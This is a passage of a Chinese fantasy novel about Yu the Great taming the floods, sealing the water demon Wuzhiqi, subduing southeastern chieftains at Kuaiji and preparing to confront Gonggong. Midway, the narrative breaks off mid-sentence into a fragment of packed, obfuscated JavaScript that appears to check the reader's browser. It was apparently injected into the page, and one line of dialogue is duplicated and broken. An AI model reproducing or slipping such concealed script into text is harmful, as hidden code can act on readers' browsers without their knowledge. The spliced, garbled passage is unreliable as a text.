“天地固然广阔,但生存资源的争夺无可避免。我人族选择聚落而居,耕织繁衍,建立秩序,是为了以更高效的方式,让更多同类得以生存延续,并在此过程中,探索文明,理解天地。此乃我族求生、发展之道。而你的道,你的‘自由’,若建立在对其他族群生存权的肆意剥夺之上,其带来的毁灭远大于你自身生存所需,那么,冲突便不可避免。” “我并非代表天道来审判你,我是代表人族,以及所有愿在此片土地上安宁生活的生灵,前来与你协商,或者说,前来制止你的毁灭之行。若你认为你的‘自由’高于万千生灵的‘生存’,那么,你我之间,便无和平共处之可能。” 这番话,让五小龙悚然动容。金麟眼中光芒闪烁:“我明白了……并非人族至上,而是‘秩序’与‘共存’的规则,与纯粹‘力量’和‘本性’的冲突。司空守护的,并非只是人族,而是一种能让更多生命延续下去的‘可能性’。” 墨琛轻声接道:“而巫支祁,他的力量和他被扭曲的本性,已经成为了这种可能性的最大威胁。” 巫支祁愣住了,禹没有用大道理压他,而是摆出了赤裸裸的现实与后果。共工残魂感受到他心神的动摇,疯狂尖啸:“他在蛊惑你!力量即是真理!毁掉他们,云梦永远是你的!” “不——!”巫支祁抱头嘶吼,远古记忆碎片与共工的低语在脑中交战,那额间的邪契符文剧烈闪烁,光芒不稳定到了极致,显露出其内部结构的刹那凝滞! “就是此刻!”禹目光如电,将全身神力灌注于“破妄锁妖链”中,猛地祭出! 锁链化作一道青金色流光,并非直击巫支祁肉身,而是循着那邪契符文波动的轨迹,如同拥有生命般,精准地缠绕上去! “破妄!”禹手掐法诀,声如惊雷。锁链上那只“竖眼”符文骤然亮起,清辉洒落,仿佛能照透灵魂。巫支祁只觉心神一震,往昔被共工残魂扭曲的、关于自身与天地关系的认知,竟出现了一丝裂隙,一种莫名的迷惘涌上心头。 “斩邪!”第二道如闪电裂痕的符文爆发璀璨光芒,霸道的力量直接切入邪契的能量连接处。巫支祁发出痛苦的咆哮,感觉那源源不断供给他力量、同时也放大他恶念的通道正在被强行斩断! “定神!”第三道收敛的波纹符文最后亮起,柔和而坚定的力量弥漫开来,如同温暖的潮水,试图抚平他因力量流失和认知冲击带来的恐慌与暴戾,引导他那被蒙蔽的灵明本性回归。 共工残魂发出绝望的尖啸,化作一道浓郁的黑气被迫出巫支祁体外,还想挣扎,却被锁链上蕴含的雷泽正气与五龙生机瞬间击散、净化! 锁链彻底收紧,巫支祁庞大的身躯被牢牢束缚,妖力如潮水般退去。他跪伏在波涛之上,眼中的疯狂与暴戾尽褪,只剩下巨大的茫然与深入骨髓的疲惫,额间那诡异的符文已然消失无踪。 “原来……这就是……被利用的感觉……”他喃喃道,声音沙哑,带着一丝解脱,又带着无尽的落寞。 禹看着他,语气平和却不容置疑:“巫支祁,锁你于此,非为灭绝。待你戾气化尽,明悟共生之理,或有重见天日之时。这云梦泽,需要的是调节水旱的灵枢,而非带来毁灭的霸主。” 在五小龙的环绕护持下,巫支祁被缓缓引入预先打造好的锁蛟井深处。井口以巨石封闭,其上铭刻着巫盼绘制的安抚与净化符文,锁链的另一端深深嵌入地脉,既汲取地气维持封印,也缓缓净化着巫支祁被污染的本源。 半月后,春汛如期而至,挟带着雪山融水与天地精华,奔涌而来。然而,失去了巫支祁恶意操控的洪水,虽依旧汹涌,却仿佛被抽去了戾气,温顺地沿着新开辟的河道,浩浩荡荡注入浩瀚的云梦大泽。大泽波澜起伏,以一种前所未有的从容姿态接纳着这自然的馈赠,水位稳步上涨,浸润着沿岸干涸的土地,却再无往日那毁天灭地的狂暴气势。 三苗族众聚集在曾经饱受洪水蹂躏、如今已是新渠入口的泽畔,目睹这奇迹般的转变。黎魁魁梧的身躯微微颤抖,他俯身抓起一把被洪水带来的、黝黑油亮且散发着生机气息的淤泥,那肥沃的触感让他热泪盈眶,声音哽咽却洪亮:“沃土!这是能孕育万千嘉禾、养活我万千族人的神赐沃土啊!” 一旁的阳华同样激动,他伸手指向泽中,只见鱼群竞跃,数量远超以往,甚至在清澈了许多的水流中,可见水草丰茂,生机勃勃:“看啊!渔猎不绝,稻粱在望!司空一诺,果真重于九鼎!” 不知是谁起了个头,苍凉而充满希望的三苗歌谣再次响彻云霄,与那温和的波涛声相应和: “浩浩洪水,归我大泽兮。 莽莽淤土,覆我旧疆兮。 泽有鱼鳖,梁有稻粮兮。 执我耒耜,筑我家邦兮。 昔者滔滔,噬我屋房兮。 今者汤汤,哺我儿郎兮。 神禹既至,惠此一方兮。 吾族吾土,其寿永昌兮!” 歌声在风中回荡,传递着新生与希望。 不远处,锁蛟井旁,禹独立于略高的坡地上,深邃的目光扫过恢复生机、烟波浩渺的云梦泽。巫盼、伯益、羲青、砺、弃等众人陆续围拢过来,脸上都带着振奋与期待。 弃难掩激动,他蹲下身,珍重地捧起一把湿泥,仔细捻动:“司空,此土肥力极厚,远超寻常!只需稍作疏导,引水灌溉,不出一年,这片泽畔便能成为鱼米之乡!” 伯益抚须点头,补充道:“水患既平,鸟兽亦将归复其道,山林泽薮,各得其宜。云梦大泽,从此当为天下富庶之源。” 巫盼面色依旧有些苍白,但眼神恢复了往日的沉静,他望着那口禁锢着巫支祁的深井,缓缓道:“邪障已除,天地清宁。此地水脉,终复其自然流转之性。” 砺声音铿锵:“司空,云梦已定,将士们士气正盛,只待号令!” 羲青站在砺身侧,望着眼前安宁的景象,眼中闪着光,轻声道:“真好,这里的人们,终于可以安心建设家园了。” 禹将众人的话语听在耳中,目光从每一张坚毅的面庞上掠过,最后再次投向那无垠的水域和更遥远的东南方向。他深吸一口气,声音沉稳而有力,清晰地传入每个人耳中:“云梦虽安,然天下水患未平。东南之地,三江并流,水道更为错综,其为患尤烈,百姓尚在波涛之中挣扎。”他顿了顿,决然道:“传令,全军休整三日。三日后,兵发东南,直指三江!” 五小龙盘旋于低空,将这一切尽收眼底。他们相视之间,眼中神采已与往日单纯听命行事时不同。经过此番与巫支祁的理念交锋、参与铸造神链,他们不仅力量有所增长,更开始深入思考自身的存在与未来。 金鳞龙首微昂,望向东南那未知的山水,心中默念:“守护人族,是因为他们代表了秩序与文明前进的一种可能。他们于逆境中求生,于废墟中重建,其坚韧与创造力,值得守护。然而,我龙族,在这天地变革的洪流之中,又该扮演怎样的角色?仅仅是听命行事的工具,还是……与这新生文明共同成长、共同缔造未来的伙伴?” 这个问题,如同远方隐隐的雷声,将伴随他们走向下一段更为波澜壮阔的征程。 19. 第19章:三江涤魂 云梦泽的波光与苗歌的余韵尚未在心底平复,平水土之师的船队已驶入了一片气息迥异的水域。东南方向,天空仿佛都低沉了几分,空气中弥漫着不仅仅是水汽,更有一股粘稠、阴郁的滞涩感。这里的洪水,失去了黄河的奔腾咆哮,也不同于云梦的浩瀚苍茫,而是一种死寂般的漫溢,河道淤塞如罹患肠梗阻的巨兽,浑浊的水流中翻滚着莫名的恶意。 巫盼立于船头,怀中玉璧持续散发着微弱的、近乎警示的凉意。他闭上双眼,颛顼血脉赋予的灵觉如同无形的触须,深入感知这片天地。“司空,”他声音沙哑,带着前所未有的凝重,“此地水脉,已被一股古老而腐朽的怨念深度侵蚀。它在挑动贪婪,放大恐惧,泯灭信任与协作的可能……这是共工的残魂。它虽不及本体亿万之一,却如无形毒瘴,已深深渗入此方水土,扭曲着生民的心智。” 禹的目光掠过沿岸景象,饶是他见惯了灾殃,心弦亦被深深触动。废墟之上,并非尽是绝望的死寂,更多是因争夺仅存高地、残粮而爆发的血腥械斗。方国壁垒森严,箭楼望塔林立,其戒备对象,却更多是毗邻的“邻居”。枯骨枕藉,溺毙者与战死者交错叠压,无声地控诉着这双重灾难。 伯益记录着地理与部族分布,眉头紧锁:“诸部如同散沙,甚而视若仇寇。我等持治水之令而来,恐难复制云梦之景。” 金鳞化作金甲青年,龙族灵觉让他对那精神层面的“毒素”感受尤为清晰:“混乱……如同最污浊的泥沼。禹王,若人心如此,纵有开山之力,亦难疏导这心灵之淤塞。” 他内心关于龙族未来的思考,与现实激烈碰撞——在如此根深蒂固的混乱面前,建立秩序何其艰难。 禹沉默良久,眼中锐光渐聚:“洪水汤汤,其害可见;人心汹汹,其祸无形。共工遗毒,甚于洪水。治水必先宁人,宁人需立威信,威信生于法度,法度行于刑赏。此地,非纯以仁德可化。需行非常之策,剜除毒瘤,方能导引清流。” 一个庞大而险峻的计划在他心中勾勒——他要在这会稽山,设下一局,既要震慑,亦要辨邪正,更要为后续净化铺路。 历经数月跋涉,大军抵达会稽山。此山雄峙于东南,俯瞰三江流域,地理位置至关重要。禹并未立即动手治水,而是做出了一个令部分追随者最初不解的决定——他派出使者,广发盟会之邀,召集东南诸部首领,于会稽山共商治水大计。 “司空,此举是否过于……”砺眉头微蹙,他更倾向于以雷霆手段,先震慑几个跳梁小丑。 禹摇头,目光深远:“治水先治人。强压或可一时屈服,然心若不齐,今日疏通之河道,明日便可能被他人为私利而堵塞。我等需一个‘名正言顺’的契机,亦需看清,谁可为友,谁……冥顽不灵。” 等待的日子里,营帐之内,禹与核心成员进行着缜密的布置。 “防风氏,巨人族裔,势力最强,性情暴烈骄横。我观其气,已被共工残魂深度侵蚀,几无清醒可能。”巫盼断言道,“其必会借故迟至,以示藐视,试探我等的底线。” “若其公然抗命,当如何?”砺沉声问道。 禹的目光投向一旁侍立、如山岳般沉稳的岳盾。岳盾,乃四岳推荐之护卫首领,身经百战,正直果敢,威武不凡。“岳盾,”禹令道,“若防风氏果真心怀叵测,冥顽不灵,便由你,执我斧钺,立斩帐前,以正典刑!” “盾,领命!”岳盾声如洪钟,无丝毫犹豫。 伯益虑及细节:“帐内诸侯及其卫士众多,我方锐士仅三十余。若骤然发难,恐难控制,反引发混战,后果难料。” 禹颔首,这正是关键所在。他看向巫盼:“巫祝,听闻你出身西荒巫咸,精擅巫医幻化之术?可能营造幻境,于众人眼前‘演’出防风氏伏法之象?既全刑律之威,又免当下血光之灾,更为后续净化留一线可能?” 巫盼闻言,身体微微一颤。那段被他刻意尘封的过往,伴随着失去挚爱的痛楚与对自己能力的怀疑,再次涌上心头。他来自巫咸部落,那是西荒著名的巫医世家,他自幼便展现出惊人的天赋,不仅能疗伤治病,更能编织以假乱真的幻象。然而,这份天赋却未能挽救因难产而早逝的妻子。那一刻,他所有的骄傲与信念随之崩塌。他开始怀疑自己的力量,陷入无尽的自责,最终选择自我放逐,浪迹四方,用漂泊和危险来麻痹那颗破碎的心。 直到那场舜帝征伐三苗的战役。浪迹至豫西南的他,因身着巫袍、手持法器,被激战中的三苗人误认为是华夏大军随行的巫祝——那些能沟通鬼神、施放诅咒的存在,往往是战场上最先被攻击的目标。在生死一线间,是当时在舜军中担任将领的岳盾,率一小队锐士拼死将他从三苗战士的围攻中救出。那一刻,看着身边不断倒下的战士,感受着战争的残酷,他忽然觉得,或许在这种最直接的生死考验中,能让自己的痛苦找到一种麻木的归宿。于是,他留在了岳盾的队伍里,随军征战,直到后来岳盾被派往协助禹治水,他也跟随着,成为了平水土之师的一员。 而这一路走来,目睹禹栉风沐雨、胼手胝足,一心为民,不计个人得失;感受着伯益的睿智、砺的忠诚、羲青的执着、弃的仁厚,甚至五龙那逐渐苏醒的责任感;更重要的是,他遇到了辛夷,那个如水般温柔、又如蒲草般坚韧的女子,她的理解与陪伴,如同涓涓细流,悄然滋润了他干涸的心田。他心灵的创伤在缓慢愈合,那份被他刻意压抑、封闭的潜能,也似乎在新的使命与情感的滋养下,重新焕发出生机。 此刻,面对禹的询问,巫盼深吸一口气,压下心中的波澜,指尖轻抚玉璧,眸中闪过一丝复杂的光芒,最终化为坚定:“可。我巫咸一族,确有‘镜花水月’之术,可借器物与精神之力,影响众人感知。我可借岳盾将军真实杀意与动作,以玉璧为引,编织幻象,令帐内绝大多数人‘亲眼目睹’行刑过程。然此法极耗心神,且……未必能瞒过所有灵觉异常者。” “如此足矣。”禹决断道,“五龙听令!” 五龙肃然。 “盟会之时,尔等显化龙形,隐于云端,龙威覆盖全场。此为一重震慑,亦为幻术之护持。若幻象被窥破或局势失控,则需尔等展现神力,控制局面,但仍需尽量避免大规模杀伤。” “金鳞领命!”“苍鬃明白!”“云踪遵令!”“墨琛知晓!”“赤须得令!”五龙齐声应诺,他们明白,这将是一场不同于以往任何战斗的较量。 “此外,”禹看向伯益,“还需舜之援。即刻以飞鹰传书,呈报此间情势:共工残魂为患,东南诸部离心,恐需兵威震慑,稳固局势,以助治水。请舜定夺。” 伯益领命,立刻挑选耐力最佳的巨鹰,以细密陶文刻录情报,缚于鹰足,望北而去。他估算着,从中原调集精锐步兵,跋山涉水至此东南之地,至少需两月有余。 盟会之日,会稽山下,各方首领依序而至,大多面带疑虑,目光闪烁,彼此间充斥着明显的戒备与敌意。营帐之内,气氛压抑。禹端坐主位,岳盾按剑立于其侧后,砺、伯益、巫盼、弃、羲青等分列两旁。帐外,隐约可感云层之中那令人心悸的龙威。 时辰将至,重要首领大多已到,唯缺防风氏。 时间流逝,日影西斜,帐内窃窃私语声渐起,不少首领脸上露出看好戏的神情。禹面无表情,指节轻轻敲击着案几。 金鳞悬浮于云层之上,龙睛扫过下方各自为营、暗流涌动的会场,心中那股关于龙族未来的思考愈发强烈。混乱,是秩序的反面,也是文明与生机的坟墓。他隐隐觉得,禹此刻面临的,或许不仅仅是治水,更是在一片精神的废墟上,尝试重建某种基石。而龙族,若想找到自身的道路,或许也无法置身于这种秩序的重建之外。 终于,在众人耐心即将耗尽之际,大地传来沉闷的震动。防风氏到了!他身高近三丈,如同移动的小山,身披粗糙兽皮,肌肉虬结,面容粗犷,一双巨眼赤红,充斥着暴戾与混乱。他大步闯入帐内,声震屋瓦:“禹!某家领地事务繁忙,来迟又如何?治水?哼,先让出这盟主之位,再谈不迟!” 嚣张气焰,毫不掩饰。 禹缓缓起身,目光如寒冰,直视防风氏:“防风氏,盟会之期,天下共遵。你姗姗来迟,口出狂言,是视盟约如无物,还是视这东南生民如草芥?” “是又如何!”防风氏咆哮,挥舞着巨臂,“没有某家点头,看你如何动工!这东南,轮不到你夏人来做主!” “既如此,”禹的声音陡然提升,如同惊雷炸响,““既如此,”禹声如惊雷,“尔受邪念侵蚀,迷失本心,恃强凌弱,阻挠大业,罪无可赦!岳盾!” “在!”岳盾踏步,巨斧扬起,凛冽杀意瞬间爆发! 就在岳盾巨斧作势劈下之瞬,巫盼手中玉璧光华大盛,一股玄妙的精神波动无声笼罩全场!他额角渗出细汗,眼中却是一片澄明,过往的阴霾在此刻被坚定的意志驱散。帐内绝大多数人只觉眼前一花,岳盾身形与斧光仿佛引动了天地之力——咔嚓! 一颗巨大的头颅伴随喷涌的“鲜血”冲天而起,庞大的无头“尸身”轰然倒地!幻象成功! 帐内死寂,落针可闻。众首领面无人色,股栗不止。云层中龙吟低吼,雷光隐现,更添恐怖。 “顺天应人,共治水患者,为盟友,共享太平!”禹声音响彻帐内,“阻挠大业,残民以逞,受邪蚀而不悟者,为国贼,天下共诛!防风氏之下场,便是明证!尔等,可还有异议?” “吾等……谨遵司空号令!”众首领匍匐在地,声音颤抖,再无一丝违逆。 盟会暂毕,诸部表面臣服。然而,消息传回防风国,举国悲愤。防风氏之子,年轻气盛的防风皋,血气上涌,当即就要点齐巨人士卒,杀向会稽山为父报仇。关键时刻,禹秘密派遣的使者抵达,向其展示了其父虽被囚禁、却安然无恙,并正接受净化的影像(通过玉璧投射的微小幻象)。防风皋目睹父亲眼中赤红稍退,露出茫然,滔天怒火转化为惊疑与一丝希望,最终强行压下复仇之念,转为沉默观望,并约束部众。 但共工残魂的腐蚀并未停止。屈、驾、曹魏三国首领,虽当时慑服,归去后却在残魂影响下愈发不安。 屈侯玄:性情阴鸷多疑,自恃智计,认为禹之手段酷烈,必难容异己,暗中串联,图谋自保反扑。其欲望在于绝对的掌控,不容任何超出其算计的力量存在。 驾君敖:勇猛贪婪,觊觎禹营积累的物资,更恐治水成功会打破其倚仗水患垄断的交易路线。其欲望在于无尽的占有,将一切资源视为私产。 曹魏伯襄:年老顽固,恐惧中原文化侵蚀其统治,视禹为入侵者,坚信割据自守。其欲望在于永固的权位,排斥任何可能动摇其统治根基的变化。 这过度的权力欲、占有欲和控制欲,正是共工残魂最好的养料。三国在残魂催动下,秘密结盟,调动部族战士,准备合兵攻杀禹于会稽山。 他们的异动,未能逃过禹的监控。伯益的鸟雀、墨琛的灵觉、以及深受三国之害的小部落密报,纷纷将证据呈上。三国首领在共工残魂的暗中影响下,迅速勾结,秘密调兵,准备趁禹立足未稳,联军攻杀,瓜分其资,重新割据。 “毒瘤已现,唯有切除。”禹在营帐内,神色冷峻,“传令,加固营垒,准备迎敌。” 同时,他也在焦急等待援军,并深思净化共工残魂之法。他向巫盼询问:“巫祝,共工残魂盘踞水脉,侵蚀人心,我等该如何彻底涤清此毒?我虽尽力疏导水道,然此怨念无形无质,非人力可直接清除。” 巫盼沉吟道:“上古之时,净化此类源于心灵的污秽,需行大祭,沟通天地正气,更需要唤醒众生本心之善,以集体之愿力,对抗并消解那扭曲的欲望。我可设祈天清心坛,以颛顼血脉为引,玉璧为核心,尝试引导这份力量。然此举需极其庞大的精神能量汇聚,且需一个能象征秩序与希望的媒介,方能将分散的愿力凝聚成涤荡邪祟的洪流。” 此时,羲青墨玉星盘:“巫盼,此星盘……或许能助您定位星辰,引导其力?我虽不通法术,但可按您指示,以此盘辅助布阵。” 禹看着星盘,眼中一亮:“善!集众智,汇众力。待援军至,平定叛乱后,便行此净化大祭!” 等待援军的日子充满压力。三国联军不断骚扰,平水土之师依托山险,顽强防御。五龙再次成为支柱。苍鬃摧城拔寨,身被数创;云踪疾如闪电,救死扶伤;赤须焚毁敌资,目睹战友倒下,稚气褪去;墨琛以冰阻敌,灵觉预警,对金鳞的依赖日深;金鳞统筹指挥,信念愈坚——龙族之力,当为秩序与生机而战。 终于,帝舜派遣的援军抵达!由名将叔达率领,汇聚了中邦精锐步兵五千,以及自愿前来助阵的三苗勇士三千。他们手持石斧、木矛、竹弓,间或有青铜兵器闪烁寒光,历经长途跋涉(约两月余),风尘仆仆却斗志昂扬。生力军的加入,瞬间扭转局势。 禹与叔达合兵,先以正兵诱敌,再以奇兵断后,于会稽山外大破三国联军。屈侯玄兵败身亡,驾君敖被岳盾生擒,曹魏伯襄见大势已去,开城投降。 战后,禹未行屠戮。他将驾君敖、曹魏伯襄及其核心党羽迁离监管,对其部众则宣布参与治水,以工代赈。同时,针对三国首领及部分被侵蚀严重的将领、巫师,开始了大规模的净化工作。巫盼主持,利用玉璧和逐渐恢复的防风氏(作为成功净化的范例)进行引导,结合草药与精神安抚,逐步驱散他们体内的共工残魂。 肃清反抗力量后,净化整个三江流域共工残魂的时机到来。 巫盼于会稽山顶设下祈天清心坛,以洁净的五色土垒砌,玉璧置于中央。羲青以星盘定位,引导气机。禹召集所有归附的部落首领、平水土之师全体、援军代表以及自愿前来的各族民衆,汇聚于山下,万头攒动。 禹登台,声如洪钟,传遍四野:“天下之苦水患久矣!然水患之根,半在天灾,半在人心!共工之魂,便是那放大贪婪、猜忌、权欲的魔障!今日,非为我禹一人之功,非为平水土一师之力,乃为尔等自身之安宁,子孙之未来!请举起尔等之手,心存善念,志在协作,愿洪水消退,愿邻里和睦,愿天下共享太平!以此愿力,涤荡邪祟!” 随着禹的话语,山下万千民众被其感染,想起战乱流离之苦,想起洪水肆虐之悲,更想起对安宁生活的渴望。无数手臂森林般举起,嘈杂的声响逐渐汇聚成统一的、充满希冀的祈祷与呐喊。 巫盼适时催动玉璧,颛顼血脉之力沟通天地!羲青手中星盘骤然亮起,如同一个巨大的透镜,将下方那浩瀚磅礴的集体愿力——对秩序的渴望、对和平的向往、对合作的认同——汇聚、提纯、放大!这股无形的力量,如同温暖的阳光,又如同清澈的泉水,在星盘的引导下,化作一道肉眼可见的乳白色光晕,如同涟漪般以会稽山为中心,向整个三江流域荡漾开去。 光晕过处,浑浊的洪水仿佛被注入了灵性,变得温顺而清澈;空气中那令人窒息的怨毒与压抑,如春阳融雪般消散。许多曾被蛊惑的首领和民衆,只觉灵台一阵清明,积郁的暴戾、猜忌与过度膨胀的欲望悄然消退,一种久违的平和与协作的冲动涌上心头。那盘踞已久的共工残魂——那集体过度欲望的化身,在这汇聚了万千生灵最纯粹愿望的力量面前,如暴露在烈日下的冰霜,迅速消融、瓦解! “时机已至!”禹感念天地气机变化,挥动玄圭,声震四野:“开川导流,归注东海!” 被净化了的水脉与人心,仿佛产生了奇妙的共鸣。五龙再次施展以尾划地之神迹。但这一次,他们的动作不再仅仅是力量的展现,更带了一种与大地、与水流、与下方万千民众心意相通的韵律。龙尾过处,大地应势而开,形成深邃顺畅的河道轮廓。金鳞划定主干,气势恢宏;苍鬃拓宽河床,稳固雄浑;云踪梳理支流,缜密如网;墨琛规避险壑,精准巧妙;赤须勾连湖荡,润泽沃野。 下方,无数人族、三苗族、归附的东南各族战士与民夫,爆发出震天动地的欢呼,带着前所未有的齐心与干劲,沿着龙尾划定的轨迹,奋力挖掘,夯筑堤岸。斧凿声声,与龙吟相和;汗滴泥土,与清流共鸣;万众一心,与天地同力。曾经的天堑化为通途,淤塞百年的水道被彻底疏通。驯服的洪水,沿着崭新的、充满生机的河道,浩浩荡荡,奔涌入海! 站在会稽山顶,俯瞰着被驯服的江河、新垦的沃野,以及那万众一心、共创新天的壮阔场景,五龙心潮澎湃。 金鳞:目睹这众志成城之力,他坚信龙族必须融入这蓬勃的文明,成为其守护者与共同缔造者,这亦是龙族超越本能、实现更高价值的途径。 苍鬃:他找到了力量的归宿——开凿与守护,如他开拓的河道,承载的不再是洪水,而是生命与希望的洪流。 云踪:他依然向往无拘,但此刻明了,真正的自由,并非独善其身,而是存在于对共同事业的守护与责任之中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接下来,禹依据各部在平乱与治水中的表现,逐一进行封赏或告诫,无不令人心服口服。随后,他依据山川形便,正式划定九州疆域,将东南之地明确纳入华夏版图,消除了许多模糊的边界争端。最后,他根据各地物产多寡、土地肥瘠,确立了吴越地区明确的贡赋之制,强调此非掠夺,而是用于共同事务及赈灾济贫,取之于民,用之于民。 一套基于秩序、协作、贡献与公正的新规则,在这片曾被混乱与欲望统治的土地上,牢固地建立起来。而那关于防风氏被斩杀及尸骨化为“巨骸”(蓼窳)的传说,则在民间悄然流传,成为了那场风波与后续宽仁的历史投影。 羲青的笔,饱含墨与情,在厚厚的简册上记录下这一切:三江水系舆图,会稽山川形胜,部族风俗物产,那惊心动魄的盟战,禹的刚柔并济与力挽狂澜,巫盼走出阴影重焕光辉,岳盾的忠诚勇武,伯益的运筹帷幄,弃的悲悯仁厚,砺的锐意进取,五龙的成长与抉择,以及最终,人心愿力汇聚,涤荡邪秽,万民携手共开新天的史诗篇章。她知道,这不仅是历史,更是流淌在血脉中、能照亮前路的灵魂之火,是人性在灾难与混乱中,最终选择秩序、合作与希望的明证。 尘埃落定之夜,禹与核心成员聚于帐内。 “共工残魂已散,”巫盼抚摸着温润的玉璧,语气却无轻松,“然其本体,仍被封印于不周山下。此番残魂作乱,可见其怨念未消,仍在伺机而动。” 伯益接口:“且如今,天下主要水患已大致平定,共工所能凭借兴风作浪的‘躯壳’——那些失控的江河湖海——已逐一被我等疏导、掌控。其本体,恐已失去兴风作浪的根基,恐已成无根之木,无源之水。” 砺目光灼灼:“司空,是时候了结这祸乱之源了!” 禹站起身,目光扫过每一张坚毅的面孔,最终望向西北方向,仿佛能穿透千山万水,看到那座传说中的不周山。 “天下水脉虽暂安,共工真身未灭,终是心腹大患。”他的声音沉稳而决绝,“传令各方,整备力量。待此间事务稍定,我等便挥师西北,直指不周山,与那上古水神,做一最后的了断!” 帐内一片肃穆,只有火把燃烧的噼啪声。禹的目光再次扫过众人,那份决绝渐渐化为一种深沉的凝重。 “然,直捣黄龙,非比疏导江河。”禹缓缓坐下,指节轻叩案几,“此前与共工残魂交锋,可见其诡诈,善蛊惑人心,借势而起。我等虽破其东南爪牙,然其本体被镇于不周山下万载,怨毒只会更深,周遭情势必定更为诡谲莫测。此番进军,绝非简单的征伐。” 伯益沉吟片刻,接口道:“司空所言极是。共工之患,根植于其怨念与天地之力的勾结。我等需知其当下确切状态,明了不周山封印详情,以及……它是否仍能引动其他我等未知的灾厄。盲目前往,恐蹈险地。” “需知己知彼。”巫盼抚着玉璧,眼中闪过一丝忧色,“我的灵觉曾隐约触及西北方向,那片天地……气机异常混乱暴烈,似有巨大的能量缺口,与共工的气息纠缠难分。或许,那并不仅仅是封印之地那么简单。” 禹颔首,眼中闪烁着思虑的光芒:“正是此理。决战之前,情报至关重要。我们需将东南之事、共工残魂特性、以及我等之推測,详呈舜。一则禀明功绩,安顿后方;二则,或许帝都保存着更多关于不周山与共工本体的资料,或能从中寻得线索。” 决议既定,禹并未沉湎于成功的喜悦,他在新落成的议事厅中,于夤夜亲自执刀,在数片烘干的陶板上刻下细密的汇报。他详述了东南之行的始末:共工残魂如何蛊惑人心、挑起纷争;防风氏受侵蚀之深与后续净化;与屈、驾、曹魏三国的不得已之战;以及最终汇聚万民愿力,借助羲青星盘与巫盼之法,成功涤荡三江流域共工残魂的经过。他特别强调了此役得以成功,关键在于疏导了被共工利用的人心怨怼与过度欲望,使得残魂失去了附着的根基。 “……臣禹顿首谨奏:东南水患已平,诸部归心,疆域初定,贡赋有章。然,臣与巫盼、伯益等反复推演,深忧之事有二。” “其一,共工真身何在?残魂虽散,其本体怨念恐已与某种更深邃的天地灾厄结合。昔日洪灾,非独源于人间战乱怨魂,恐更有天河水厄掺杂其间。臣等疑心,无数怨魂戾气,或已蚀穿地脉,沿昆仑龙脊逆冲,损及天穹结界,致天河水泄,与人间洪水合流,方有今日蔓延难制之局。如今人间怨魂暂息,共工残魂无依,然其真身必与那天河漏洞息息相关,寻其真身,必先明天河泄泻之秘。” “其二,天河泄泻如何弥补?此非疏导人间水道所能解决,需另寻他法,或需沟通天人,修复结界。” 刻毕,他亲自将陶板以油布包裹,缚于最神骏的苍鹰足上。“直飞蒲阪,面呈舜。” 苍鹰长唳,振翅融入黎明前的夜色,带着东南的捷报与更深沉的忧虑,向北而去。 禹独立于晨风中,眉头深锁。净化三江的经验让他明白,对抗共工,必须从根本上解决问题。人间欲望的疏导只是第一步,那天上倾泻的“根源之水”若不堵住,难保不会滋生出新的“共工”。他回想起巫盼提及,颛顼先祖曾“绝天地通”,是否正与维护此类天地结界有关?而羲青那面愈发显得神秘的星盘,其上那些灼痕与裂纹,据她所言,正与其父羲仲当年在雷泽试图解析“天河水厄”之力而殉道有关……那星盘,是否是解开天河之谜的关键? 同时,一个微小的细节也在他脑中闪现——据羲青记录,当年在镇泽台绝境中,她曾无意中将舜所赐、蕴含谷物甘甜与蜂蜜的食物塞入诅咒龟甲裂隙,竟短暂激发过一丝纯净光芒,似对共工的恶念有所克制。这“甘甜”之中蕴含的“生机”与“希望”之力,是否正是那种腐蚀、死寂怨念的天然对立面?这在未来面对更强大的共工本体时,或许能成为一个意想不到的切入点。 接下来的日子,禹一边督导三江流域最后的堤防巩固与农耕恢复事宜,一边让巫盼、伯益与羲青共同研究星盘之谜,尤其是其上那些关乎“天河泄洪脉”的灼痕,试图从中找到共工真身可能隐藏之处,以及天河之水的真正源头。他们都知道,三江的胜利仅仅是一个阶段性的成果,真正的终极挑战,那导致一切灾难的根源——共工真身与天河水厄,仍在西北方向的不周山深处,等待着最终的决战。而找到它,并找到修复天河结界的方法,将是下一段征程的核心。 20. 第20章:不周绝响 半月之后,会稽山的身影与喧嚣已远遁于船队之后。旗舰船头,禹的身影凝立如石,他的目光越过了船队劈开的波浪,投向那水天相接的西北方。那里,天空呈现出一种病态的铅灰色,仿佛被无形的巨手扼住了咽喉,连风中都带着一股深入骨髓的阴冷与滞涩。 这已不再是他们熟悉的治水征程。曾经的工程,无论多么艰险,总伴随着开山辟土的壮阔与疏通水脉后的生机。而此刻,他们正主动驶向一片已知的、由古老怨恨与破碎法则共同构筑的绝域。船队规模锐减,只余下最核心的成员与最精锐的战士,船舱里满载的不再是开凿工具,而是特制的武器、巫盼的符箓和维系生命的丹药。这是一次目标明确的斩首之行,向着一切水患的源头,向着那位在传说中怒触不周山的古神——共工。 舜称帝第五年,禹承父志、总理水土的第十三个年头。十三载光阴,足以让少年长成坚韧的战士,也让这支队伍从最初的治水工程团,淬炼成了足以撼动神魔的利刃。 航程越是向西北延伸,天地间的异象便越发触目惊心。洪水退去的痕迹宛然,大地却未焕发生机,反而如同被抽干了精血,呈现出大片大片的龟裂与灰败。江河依旧奔腾,水量甚至更为汹涌,但那水流漆黑如墨,触之阴寒刺骨,水面上漂浮着不散的腐臭气息,水中不见鱼虾,岸旁不生草木。仿佛生命的概念,正在这片土地上被强行抹去。 羲青立于禹身侧,怀中星盘不安地低鸣着,光泽明灭不定。“司空,此地水脉已彻底异化。”她的声音带着压抑的惊悸,“共工之力,正在将活水转化为死水,更引动了苍穹之上某种至阴至寒的力量交汇……那感觉,如同天穹本身在流血。” 禹沉默颔首,舜回信中的警示言犹在耳:不周山自共工一撞,已成天地裂隙,法则崩坏之地。他们将要面对的,远不止一个疯狂的复仇者。 这一日,前方探路的云踪化作一道略显仓皇的白光返回,龙形未稳便急报:“司空!前方百里,空间扭曲,一道巨大的能量屏障隔绝内外!其内怨灵巡弋,气息之暴烈,我的速度竟难以深入窥探!它们……仿佛被一个统一的恐怖意志所驱策!” 所有人的心都沉了下去。共工,不仅感知到了他们的到来,更已张开了罗网,严阵以待。 禹下令全军于屏障外择险要处扎营。 